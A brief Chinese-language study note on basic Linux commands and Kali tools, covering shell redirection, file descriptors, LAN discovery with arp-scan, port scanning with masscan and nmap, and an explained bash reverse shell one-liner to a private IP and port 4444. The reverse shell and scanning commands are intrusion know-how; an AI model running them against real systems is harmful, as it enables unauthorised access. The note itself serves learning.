linux和kali的一些命令
linux
目录解释:
/var/www/html:把文件放入到这个目录下,打开apache2后,可以通过网页访问(而且要启动httpd服务,上网找)
命令解释:
ls -l 文件名:查看文件权限
history:查看历史记录
符合解释:
>:重定向符,将一个东西到另一个(当里面有东西时,就会覆盖)
>> :重定向符,将一个东西到另一个(当有东西是,就会叠加)
0:文件描述符,表示标准输入,对应宏为:STDIN_FILENO
1:文件描述符,表示标准输出,对应宏为:STDOUT_FILENO
2:文件描述符,表示标准出错处理,对应的宏为:STDERR_NO
__________________________________________________________________________________________________
kali
arp-scan -l :可以扫描这个局域网内的其他ip
masscan --rate=1000 -p 0-65535 192.168.44.52 :masscan是这个插件名字,--rate表示指定发包的速率,-p表示指定端口进行扫描(这里指定了0到65535端口),192.168.44.52表示要扫描的ip
nmap -T4 -sV -O -p 445,143,22,8080,80,500,8081,139,443 192.168.44.52:nmap插件名,-T4设置计时模板(越高速度越快),-sV探测打开的端口以确定服务/版本信息,-O启用操作系统检测,-p仅扫描指定的端口,192.168.44.52表示要扫描的ip
bash -i >& /dev/tcp/192.168.44.55/4444 0>&1
bash -i :创建一个交互式的bash 、>&:将输出重定向文件、 /dev/tcp:文件不支持,但是打开该文件相当于发起了socket,建立了一个连接
/192.168.44.55/4444:表示socke连接的ip和端口、 0>&1:表示标志输入重定向到标志输出,即我们可以远程输入,并且可以得到远程输出